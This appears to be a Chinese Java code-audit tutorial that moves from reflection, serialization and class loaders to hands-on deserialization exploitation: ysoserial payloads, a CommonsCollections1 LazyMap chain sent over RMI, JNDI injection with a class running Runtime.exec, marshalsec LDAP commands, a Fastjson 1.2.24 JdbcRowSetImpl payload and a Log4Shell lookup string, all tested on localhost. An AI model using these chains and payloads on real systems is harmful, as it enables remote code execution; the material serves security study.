Java安全-代码审计基础
编辑Java反射
在Java编程中,反射(Reflection)是一种强大的机制,允许程序在运行时检查和操作类、方法、字段等结构。通过反射,开发者可以在编译时不知道具体类的情况下,动态地加载类、调用方法、访问字段等。
什么是反射?
java反射机制的核心是在程序运行的时候动态加载类并获取类的详细信息,从而操作类或对象的属性和方法。
如果你不知道类或对象的具体信息,自然也就没办法在编码阶段使用new来创建对象和使用对象。你就可以使用反射来使用Dog类。
比如在spring中,就有使用反射来动态构造类和属性的使用。
在编译时根本无法知道对象或类可能属于哪些类,程序只能依靠运行时,信息来发现该对象和类的真实信息。
比如:log4j、servlet、ssm框架技术都用到了反射机制。
反射的主要用
途
动态加载类:可以在运行时加载类,而不是在编译时就确定。
访问私有成员:可以访问和修改类的私有字段和方法。
实现通用代码:编写适用于多种类的通用方法,如序列化、依赖注入等。
框架开发:许多框架(如Spring、Hibernate)大量使用反射来实现其功能。
反射的核心类
Java反射主要通过以下几个核心类来实现:
Class
:代表一个类或接口。Constructor
:代表类的构造方法。Method
:代表类的方法。Field
:代表类的字段。
代码示例解析
下面我们通过一个具体的代码示例,详细解析Java反射的使用。
示例代码
假设我们有两个类:Main
和 Dog
。
package org.example;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
// 使用全限定类名加载Dog类
Class<?> c = Class.forName("org.example.Dog");
// 获取Dog类中带有一个String参数的构造方法
Constructor<?> cs = c.getDeclaredConstructor(String.class);
// 使用构造方法创建Dog类的实例,并传入参数"旺财"
Object o = cs.newInstance("旺财");
// 获取Dog类中的私有字段"name"
Field f = c.getDeclaredField("name");
// 设置字段"name"为可访问,即使是私有字段也可以进行操作
f.setAccessible(true);
// 将实例o中的"name"字段的值修改为"大黄"
f.set(o, "大黄");
// 获取Dog类中带有一个String参数的say方法
Method m = c.getDeclaredMethod("say", String.class);
// 调用实例o的say方法,并传入参数"汪汪汪"
m.invoke(o, "汪汪汪");
// 打印实例o的信息
System.out.println(o);
}
}
package org.example;
public class Dog {
private String name;
public Dog(){}
public Dog(String name){
this.name = name;
}
public Dog(int i){}
public void say(){
System.out.println(name + "嗷嗷叫");
}
public void say(String message){
System.out.println(name + ":" + message);
}
}
代码解析
加载类
Class<?> c = Class.forName("org.example.Dog");
Class.forName
方法用于在运行时动态加载类。这里传入的是类的全限定名(包括包名),即org.example.Dog
。返回值
Class<?>
表示加载的类对象。
获取构造方法
Constructor<?> cs = c.getDeclaredConstructor(String.class);
getDeclaredConstructor
方法用于获取类中声明的构造方法。这里传入的是构造方法的参数类型String.class
,表示获取带有一个String
参数的构造方法。
创建类的实例
Object o = cs.newInstance("wangcai");
newInstance
方法使用获取到的构造方法创建类的实例,并传入构造方法所需的参数"wangcai"
。返回值
Object
是创建的类的实例。
获取和修改私有字段
Field f = c.getDeclaredField("name"); f.setAccessible(true); f.set(o, "dahuang");
getDeclaredField
方法用于获取类中声明的字段。这里获取的是name
字段。setAccessible(true)
方法设置字段为可访问,即使是私有字段也可以进行操作。set
方法用于设置字段的值。这里将实例o
中的name
字段值修改为"dahuang"
。
调用方法
Method m = c.getDeclaredMethod("say", String.class); m.invoke(o, "wangwangwang");
getDeclaredMethod
方法用于获取类中声明的方法。这里获取的是带有一个String
参数的say
方法。invoke
方法用于调用方法。这里调用实例o
的say
方法,并传入参数"wangwangwang"
。
打印对象信息
System.out.println(o);
打印实例
o
的信息。这里会调用Dog
类的toString()
方法。如果Dog
类没有重写toString()
方法,默认会显示对象的内存地址信息。
反射的优点
动态性:反射允许在运行时动态加载类和调用方法,增加了程序的灵活性。
通用性:可以编写适用于多种类的通用方法,如序列化、依赖注入等。
扩展性:通过反射可以实现插件机制,方便程序的扩展和维护。
反射的缺点
性能开销:反射操作比直接调用方法或访问字段要慢,因为涉及到动态解析。
安全性问题:反射可以绕过访问控制,访问和修改私有字段和方法,可能带来安全隐患。
代码可读性差:反射代码通常比直接调用方法或访问字段的代码复杂,可读性和维护性较差。
序列化和反序列化
Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中。
Java反序列化是指把字节序列恢复为Java对象的过程。
序列化的应用场景
一种是将对象持久化保存到硬盘/数据库。序列化机制并不是Java语言才有的。我们知道Java对象的数据都是存放在内存中的。但内存不具备持久化特性,一旦进程关闭或设备关机,内存中的数据将永远消失。但有些场景却需要将对象持久化保存,例如用户的Session,如果Session缓存清空,用户就需要重新登陆,为了使缓存系统内存中的Session对象一直有效,就需要一种机制将对象从内存中保存到磁盘,并且待系统重启后还能将Session对象恢复到内存中,这个过程就是对象序列化与反序列化的过程,从而避免了用户会话的有效性受系统故障的影响。
此外还有一种场景就是需要将一台主机中的对象通过网络传输给另一台机器,如RPC,RMI,网络传输等场景。
序列化相关协议
对象的反序列化技术实现并不唯一。常见的反序列化协议有:
XML&SOAP
JSON
Protobuf
Java Serializable接口
序列化相关操作
将对象序列化成数据
只有实现了Serializable接口的类的对象才能被序列化为字节序列。Serializable接口是Java提供的序列化接口。Serializable用来标识当前类可以被ObjectOutputStream序列化,以及被ObjectInputStream反序列化。
我们可以调用ObjectOutputStream的writeObject方法序列化一个类并写入硬盘。
先定义一个toString类,让其输出格式为Dog{name='xxx'},并将Dog实现Serializable类
package org.example;
import java.io.Serializable;
public class Dog implements Serializable {
private String name;
Dog(){}
Dog(String name){
this.name = name;
}
Dog(int i){
}
void say(){
System.out.println(name+"嗷嗷叫");
}
void say(String message){
System.out.println(name+":" + message);
}
@Override
public String toString(){
return "Dog{"+
"name='" + name + '\'' +
'}';
}
}
创建Ser.java
package org.example;
import java.io.*;
public class Ser {
public static void serializable(String path, Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Dog dog = new Dog("旺财");
serializable("ser.bin",dog);
}
}
先创建一个Serializable序列化类,通过ObjectOutputStream中的writeObject序列化,并将序列化的内容生成到ser.bin文件中。
运行,生成ser.bin文件。
然后反序列化ser.bin文件,通过ObjectInputStream中的readObject读取ser.bin文件,反序列化输出内容。
package org.example;
import java.io.*;
public class Ser {
public static void serializable(String path, Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Dog dog = new Dog("旺财");
// serializable("ser.bin",dog);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}
类加载器
类加载器是一个负责加载类的对象,用于实现类加载过程中的加载这一步,每个Java类都有一个引用指向加载他的classLoader。
简单来说,类加载器的主要作用是加载Java类的字节码(.class文件)到JVM中(在内存中生成一个代表该类的class对象)。字节码可以是Java源程序(.java文件)经过javac编译得来,也可以是通过工具动态生成或者网络下载得来。
加载器分类
1. 启动类加载器(Bootstrap ClassLoader)
描述
启动类加载器是最顶层的类加载器,通常表示null,并且没有父级。负责加载 Java 核心类库,包括 java.lang
包、java.util
包等位于 JAVA_HOME/jre/lib
目录下的核心类库。
特点
实现方式:由 JVM 使用本地(native)代码实现,不是纯 Java 类。
父加载器:没有父加载器,处于类加载器层次结构的顶端。
可见性:对其他类加载器不可见,无法被直接引用。
示例
// 获取启动类加载器(通常返回 null,因为它是用本地代码实现的)
ClassLoader bootstrapClassLoader = String.class.getClassLoader();
System.out.println(bootstrapClassLoader); // 输出: null
2. 扩展类加载器(Extension ClassLoader)
描述
扩展类加载器负责加载 Java 的扩展类库,这些类库位于 JAVA_HOME/jre/lib/ext
目录下,或者由 java.ext.dirs
系统属性指定的其他目录中的类。
特点
实现方式:由
sun.misc.Launcher$ExtClassLoader
实现,是纯 Java 类。父加载器:启动类加载器(Bootstrap ClassLoader)。
可见性:可以被应用程序类加载器访问。
示例
// 获取扩展类加载器
ClassLoader extClassLoader = java.util.jar.JarFile.class.getClassLoader();
System.out.println(extClassLoader); // 输出: sun.misc.Launcher$ExtClassLoader@<hashcode>
3. 应用程序类加载器(Application ClassLoader)
描述
面向我们用户的加载器,负责加载应用程序的类路径(classpath)中的类,即用户自定义的类和第三方库。
特点
实现方式:由
sun.misc.Launcher$AppClassLoader
实现,是纯 Java 类。父加载器:扩展类加载器(Extension ClassLoader)。
可见性:可以被应用程序中的所有类访问。
示例
// 获取应用程序类加载器
ClassLoader appClassLoader = Main.class.getClassLoader(); // 假设当前类为 Main
System.out.println(appClassLoader); // 输出: sun.misc.Launcher$AppClassLoader@<hashcode>
4. 自定义类加载器(Custom ClassLoader)
描述
除了上面的加载器外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求。就比如说,我们可以对Java类的字节码(.class文件)进行加密,加载时再利用自定义的加载器对其解密。
特点
实现方式:继承
java.lang.ClassLoader
并重写相关方法,如findClass
。父加载器:通常是应用程序类加载器,但可以根据需要设置其他加载器作为父加载器。
灵活性:提供更高的灵活性,满足特定应用场景的需求。
示例
public class CustomClassLoader extends ClassLoader {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
// 自定义类的加载逻辑,例如从文件系统或网络中读取类的字节码
byte[] classData = loadClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
}
return defineClass(name, classData, 0, classData.length);
}
private byte[] loadClassData(String className) {
// 实现类的字节码加载逻辑
// 例如,读取文件系统中的 .class 文件
return null; // 示例中返回 null
}
}
类加载器的层次结构
Java 类加载器遵循双亲委派模型(Parent Delegation Model),其层次结构如下:
Bootstrap ClassLoader
↑
Extension ClassLoader
↑
Application ClassLoader
↑
Custom ClassLoader(如果有)
双亲委派模型的工作原理
请求加载类时,类加载器首先将加载请求委派给其父加载器。
父加载器尝试加载,如果成功则返回该类;如果失败,则子加载器尝试自己加载。
只有当父加载器无法加载时,子加载器才会尝试加载类。
这种机制确保了类的唯一性和安全性,避免了同一个类被多个类加载器重复加载,同时也防止了用户自定义的恶意替换核心类库中的类。
说白了就是先找找父类有没有这个类,没有的话就加载自己写的类,有的话就加载父类中的这个类。
类加载器案例
根据以上项目新建一个Java类为Person的文件。
package org.example;
public class Person {
static String a;
static int b;
static {
System.out.println("静态代码块");
}
public Person(){
System.out.println("无参构造器");
}
}
将代码以UTF-8的形式编译成class文件。
javac -encoding UTF-8 .\Person.java
创建ClassLoaderTest类,将生成的class文件路径填写到下方,动态运行实例,点击运行。输出文字。
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\38123\\Desktop\\javasec\\src\\main\\java\\org\\example\\")});
Class<?> aClass = cl.loadClass("org.example.Person");
Object o = aClass.newInstance();
// System.out.println(Dog.class.getClassLoader());
}
}
Ysoserial
一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
项目地址
用法
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
我使用的是GUI版本的yso生成工具,先将cc7链生成一个bin文件放到项目根目录。
然后在pom.xml引用cc3.2.1模块,maven重新加载项目。
还是之前的Ser.java,修改部分代码如下:
package org.example;
import java.io.*;
public class Ser {
public static void serializable(String path, Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}
运行代码,成功弹出计算器。
有些cc链要根据所依赖的环境或者库来进行选择。
URLDNS反序列化利用链
分析yso中的URLDNS payload,利用链过程并不复杂。
Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
接下来使用这个链,这个链会向我们指定的目标服务器发送一条DNS请求,达到一个类似于SSRF的效果。
首先先在bp或者dnslog生成一个链接,这里我用bp。将生成的url填入工具然后生成。
还是Ser.java,引用刚才生成的urldns.bin,运行
package org.example;
import java.io.*;
public class Ser {
public static void serializable(String path, Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}
返回查看bp,有请求记录。
等有时间再来进行利用链分析。
反序列化利用中的RMI
概念介绍
RMI的全称是Remote Method Invocation,即远程方法调用。Java的RMI远程调用特指,一个Jvm中的代码可以通过网络实现远程调用另一个Jvm的方法,也可以说RMI就是RPC(远程过程调用协议)在JAVA语言中的实现。
在这个场景下分为三方角色,分别是:
服务端
客户端
注册中心
服务端和客户端持有相同的接口(interface)文件,不同的是,客户端持有的仅仅是接口(也就是函数方法的声明),而服务端拥有该接口的具体实现(implements)。客户端可以在不知道接口实现细节的情况下调用服务端的实现代码。
而注册中心在其中充当什么角色?我们知道,客户端支持有接口不持有实现类,那么问题来了,接口必须被实现后才能被调用。因此,客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。这个时候就需要注册中心登场了。
客户端持有的接口实际上对应了一个"实现类",它是由Registry通过动态代理生成的,内部负责把方法调用通过网络传递到服务器端,而服务器端也并非我们写的接口实现来解析网络请求数据,而是由注册中心代为解析,然后去调用服务器端上真正的接口实现函数。
演示
创建RMIServer和RMIClient项目,然后各创建一个名为Calc的类,以下是Calc.java的代码。
package org.example; // 定义包名为 org.example
import java.rmi.Remote; // 导入 Remote 接口,用于标识远程方法
import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常
public interface Calc extends Remote { // 定义 Calc 接口,继承 Remote 接口以支持远程调用
public int add(int a, int b) throws RemoteException; // 定义 add 方法,用于计算两个整数的和,可能抛出 RemoteException
public void print(Object o) throws RemoteException; // 定义 print 方法,用于打印传入的对象,可能抛出 RemoteException
}
RMIServer中再创建CalcImpl类和RMIServer类。
package org.example; // 定义包名为 org.example
import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常
public class CalcImpl implements Calc { // 定义 CalcImpl 类,实现 Calc 接口
@Override
public int add(int a, int b) throws RemoteException { // 实现 add 方法,计算两个整数的和
int result = a + b; // 计算 a 和 b 的和
System.out.printf("%d + %d = %d\n", a, b, result); // 打印计算过程和结果
return result; // 返回计算结果
}
@Override
public void print(Object o) throws RemoteException { // 实现 print 方法,打印传入的对象
System.out.println(o); // 打印对象
}
}
package org.example; // 定义包名为 org.example
import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry,用于创建或获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry,用于管理 RMI 注册表
import java.rmi.server.UnicastRemoteObject; // 导入 UnicastRemoteObject,用于导出远程对象
public class RMIServer { // 定义 RMIServer 类,作为 RMI 服务器
public static void main(String[] args) throws RemoteException { // 主方法,程序入口
Registry registry = LocateRegistry.createRegistry(1099); // 创建 RMI 注册表,监听端口 1099
CalcImpl calc = new CalcImpl(); // 创建 CalcImpl 实例,实现远程接口
registry.rebind("calc", UnicastRemoteObject.exportObject(calc, 0)); // 将 calc 对象绑定到注册表,名称为 "calc",并导出为远程对象
System.out.println("RMI Server is running..."); // 打印服务器启动信息
// 保持服务运行
while (true) { // 无限循环,确保服务器持续运行
try {
Thread.sleep(1000); // 线程休眠 1 秒,避免 CPU 占用过高
} catch (InterruptedException e) { // 捕获线程中断异常
e.printStackTrace(); // 打印异常信息
break; // 退出循环
}
}
}
}
接下来在RMIClient项目中创建RMIClient类先测试一下通不通。
运行server,再运行client,成功输出3,能够正常运行。
接下来插入cc1链恶意代码。LazyMap和TransformedMap很相似,都通过这个decorate方法来传入参数,传参类型也一致。并且它的get方法中的factory会去执行transform方法。因为TransformedMap在我电脑上没能成功执行,改换成LazyMap。
LazyMap
的工作原理:LazyMap
会在调用 get(key)
时检查键是否存在:
如果键不存在,则通过
Transformer
动态生成一个值并存入Map
。键的名称本身不影响攻击逻辑,因为漏洞触发依赖的是
Transformer
链的执行,而不是键的内容。
示例验证:
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get("any_string_here"); // 触发攻击链,执行命令
lazyMap.get("123"); // 同样会触发
lazyMap.get(null); // 可能触发(取决于LazyMap实现)
package org.example; // 定义包名为 org.example
import org.apache.commons.collections.Transformer; // 导入 Transformer 接口,用于定义对象转换逻辑
import org.apache.commons.collections.functors.ChainedTransformer; // 导入 ChainedTransformer,用于将多个 Transformer 串联
import org.apache.commons.collections.functors.ConstantTransformer; // 导入 ConstantTransformer,用于返回固定值
import org.apache.commons.collections.functors.InvokerTransformer; // 导入 InvokerTransformer,用于反射调用方法
import org.apache.commons.collections.map.LazyMap; // 导入 LazyMap,用于延迟计算 Map 的值
import java.io.FileOutputStream; // 导入 FileOutputStream,用于文件输出
import java.io.IOException; // 导入 IOException,用于处理输入输出异常
import java.io.ObjectOutputStream; // 导入 ObjectOutputStream,用于对象序列化
import java.lang.annotation.Target; // 导入 Target 注解,用于反射示例
import java.lang.reflect.Constructor; // 导入 Constructor,用于反射创建对象
import java.lang.reflect.InvocationTargetException; // 导入 InvocationTargetException,用于处理反射调用异常
import java.rmi.NotBoundException; // 导入 NotBoundException,用于处理 RMI 未绑定异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry,用于获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry,用于管理 RMI 注册表
import java.util.HashMap; // 导入 HashMap,用于创建 Map
import java.util.Map; // 导入 Map 接口,用于定义键值对集合
public class RMIClient { // 定义 RMIClient 类,作为 RMI 客户端
public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { // 主方法,程序入口
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 获取本地 RMI 注册表,端口为 1099
Calc calc = (Calc) registry.lookup("calc"); // 查找名为 "calc" 的远程对象
calc.print(cc1()); // 调用远程对象的 print 方法,传入 cc1() 生成的恶意对象
}
public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { // 定义 cc1 方法,生成恶意对象
Transformer[] transformers = new Transformer[] { // 定义 Transformer 数组,用于串联多个转换逻辑
new ConstantTransformer(Runtime.class), // 返回 Runtime.class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 反射调用 getMethod("getRuntime")
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 反射调用 invoke(null, null)
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 反射调用 exec("calc.exe")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 将多个 Transformer 串联
Map<Object, Object> map = new HashMap<>(); // 创建一个 HashMap
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); // 使用 LazyMap 包装 HashMap,延迟执行转换逻辑
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取 AnnotationInvocationHandler 类
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 获取其构造函数
constructor.setAccessible(true); // 设置构造函数可访问
Object obj = constructor.newInstance(Target.class, lazyMap); // 创建 AnnotationInvocationHandler 实例
lazyMap.get("foo"); // 触发 LazyMap 的 transform 操作,执行恶意代码
return obj; // 返回生成的恶意对象
}
}
运行代码,成功执行命令。
JRMP
JRMP(Java Remote Method Protocol)是 Java RMI(Remote Method Invocation,远程方法调用)的底层通信协议。它用于在 Java 应用程序之间实现远程方法调用,是 RMI 的核心组成部分。走的是TCP/IP协议。JRMP协议也仅用于RMI调用。
如果我们不知道REIserver注册中心的那边的接口情况,或者那边没有接受Object的参数的接口的时候,我们又该如何利用呢?
我们现将之前写好的RMIserver和RMIclient运行起来,用wireshark抓取流量包,发现有JRMP交互,数据包中有java序列化的内容。
既然是反序列化数据我们就会想到是不是通过反序列化将这个序列化数据转换为Java对象呢,既然有这样一个过程,那我们直接将正常的序列化代码替换成恶意的序列化的代码,反序列化后会直接触发恶意的利用链。
先运行RMIserver。
通过工具生成恶意序列化代码。
然后会弹出计算器。
JNDI注入基础
JNDI:简单来说,JNDI(Java Naming Directory Interface)是一组应用接口程序,他为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个JAVA远程对象。JNDI底层支持rmi远程对象,rmi注册的服务可以通过JNDI接口来访问和调用。
JNDI支持多种命名和目录提供程序(Naming Directory Providers),RMI注册表服务提供程序允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散解耦合,RMI客户端直接通过url来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。
下面演示下:
我找了个低版本的java1.8,来实现演示,先将恶意类evil进行编译成class文件。
import java.io.IOException;
public class evil {
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
编译成功后运行RMIServer
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("xxx", referenceWrapper);
System.out.println("RMI server is running...");
}
}
将恶意类evil加载并实例化对象,并托管到127.0.0.1:8000以便下载,将恶意引用绑定到 RMI 注册表的 xxx上面,并起一个python http 服务,端口为8000。
接下来写一个test类,用来验证是否能攻击成功。绑定url为rmi://127.0.0.1:1099/xxx
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDITest {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/xxx");
}
}
用低版本java1.8运行该代码,成功弹出计算器。
接下来用工具marshalsec开启LDAP服务,pythonweb服务也开启。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099
修改代码JNDITest,并编译运行,成功弹出计算器。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDITest {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evil");
}
}
Fastjson1.2.24漏洞原理和JdbcRowSetImpl链
漏洞复现
利用条件:fastjson版本<=1.2.24
攻击方准备
1.恶意代码
还是这个恶意类
import java.io.IOException;
public class evil {
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
编译好启动一个http服务器,端口8000,
接下来用工具marshalsec开启LDAP服务,pythonweb服务也开启。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099
fastjson代码
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String text = "{\n" +
" \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" + // 指定恶意类
" \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" + // 指向攻击者的LDAP服务
" \"autoCommit\" : true\n" + // 触发JdbcRowSetImpl的setAutoCommit()方法
"}";
JSON.parseObject(text); // 反序列化触发漏洞
}
}
直接运行,成功弹出计算器。
开始分析链
在这之前,先简单说以下fastjson是怎么工作的。
首先,先写一个Person类。
package org.example;
public class Person {
private String name;
private int age;
public Person(){
System.out.println("实例化Person");
}
public String getName(){ return name;}
public void setName(String name){
System.out.println("setName="+ name);
this.name = name;
}
public int getAge(){ return age;}
public void setAge(int age){
System.out.println("setAge="+ age);
this.age = age;
}
}
然后修改main主函数,使用反射调用输出结果。
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
// String text = "{\n" +
// " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" + // 指定恶意类
// " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" + // 指向攻击者的LDAP服务
// " \"autoCommit\" : true\n" + // 触发JdbcRowSetImpl的setAutoCommit()方法
// "}";
String text = "{\n" +
" \"@type\" : \"org.example.Person\",\n" + // 指定恶意类
" \"name\" : \"mingming\",\n" + // 指向攻击者的LDAP服务
" \"age\" : 32\n" + // 触发JdbcRowSetImpl的setAutoCommit()方法
"}";
Object o = JSON.parseObject(text); // 反序列化触发漏洞
System.out.println(o.getClass().getName());
}
}
输出为实例化
Person
setName=mingming
setAge=32
com.alibaba.fastjson.JSONObject
fastjson会将json中的key拼接set并将首字母大写,就是setKey,然后去寻找你需要反射的java的类中有没有这个方法,有的话就会把value传进去,实际的话是这么操作的。
根据观察,调用了Person中的无参构造方法Person、setName和setAge,那么我们只需要找到有这么一个类,它的无参构造方法可以被利用,或者说它的setxxx方法里面有恶意代码可以被我们利用就行了。实际上是无参构造方法的话,因为我们不能给它传递值,所以是比较难利用的,那我们就找setxxx方法。
首先先点进去com.sun.rowset.JdbcRowSetImpl这个类。
搜索AutoCommit找到setAutoCommit方法。
看这个判断,没什么东西,看else中的代码 conn = connect();
if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
// Coming here means the connection object is null.
// So generate a connection handle internally, since
// a JdbcRowSet is always connected to a db, it is fine
// to get a handle to the connection.
// Get hold of a connection handle
// and change the autcommit as passesd.
conn = connect();
// After setting the below the conn.getAutoCommit()
// should return the same value.
conn.setAutoCommit(autoCommit);
}
看到了lookup,这个参数还可控,就想起了JNDI注入,如何给可控参数getDataSourceName()赋值,我们找一下这个方法。
看得出来可以直接赋值,但是前面还有个条件:
如何让这个conn等于null,我们找这个conn的定义。发现这个conn初始化的时候就是为null,就是无构造参数方法,这样就会走到我们下面的分支,成功利用漏洞。
@type传入的就是我们所需要利用的恶意类,dataSourceName就是要传入ldap恶意注入服务器地址,接下来传入autoCommit,就触发恶意代码了。
不出网利用
TemplatesImpl利用链
Commons-io 写文件/webshell
becl攻击(利用tomcat的BasicDataSource链)
Log4j2漏洞
什么是log4j
log4j是一种在Java中非常流行的日志框架,最新版本为2.下。非常多的开源项目使用该框架记录日志。
漏洞复现
利用条件: 2.0<=log4j<=2.14.1
受害者准备
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 触发漏洞(需用户输入控制日志内容)
logger.error("${jndi:ldap://127.0.0.1:1099/evil}");
}
}
还是用marshalsec起一个LDAPRefServer。
将之前的evil类编译,在编译好的目录起一个pythonhttpserver。
运行受害者代码,成功弹出计算器。
分析原因
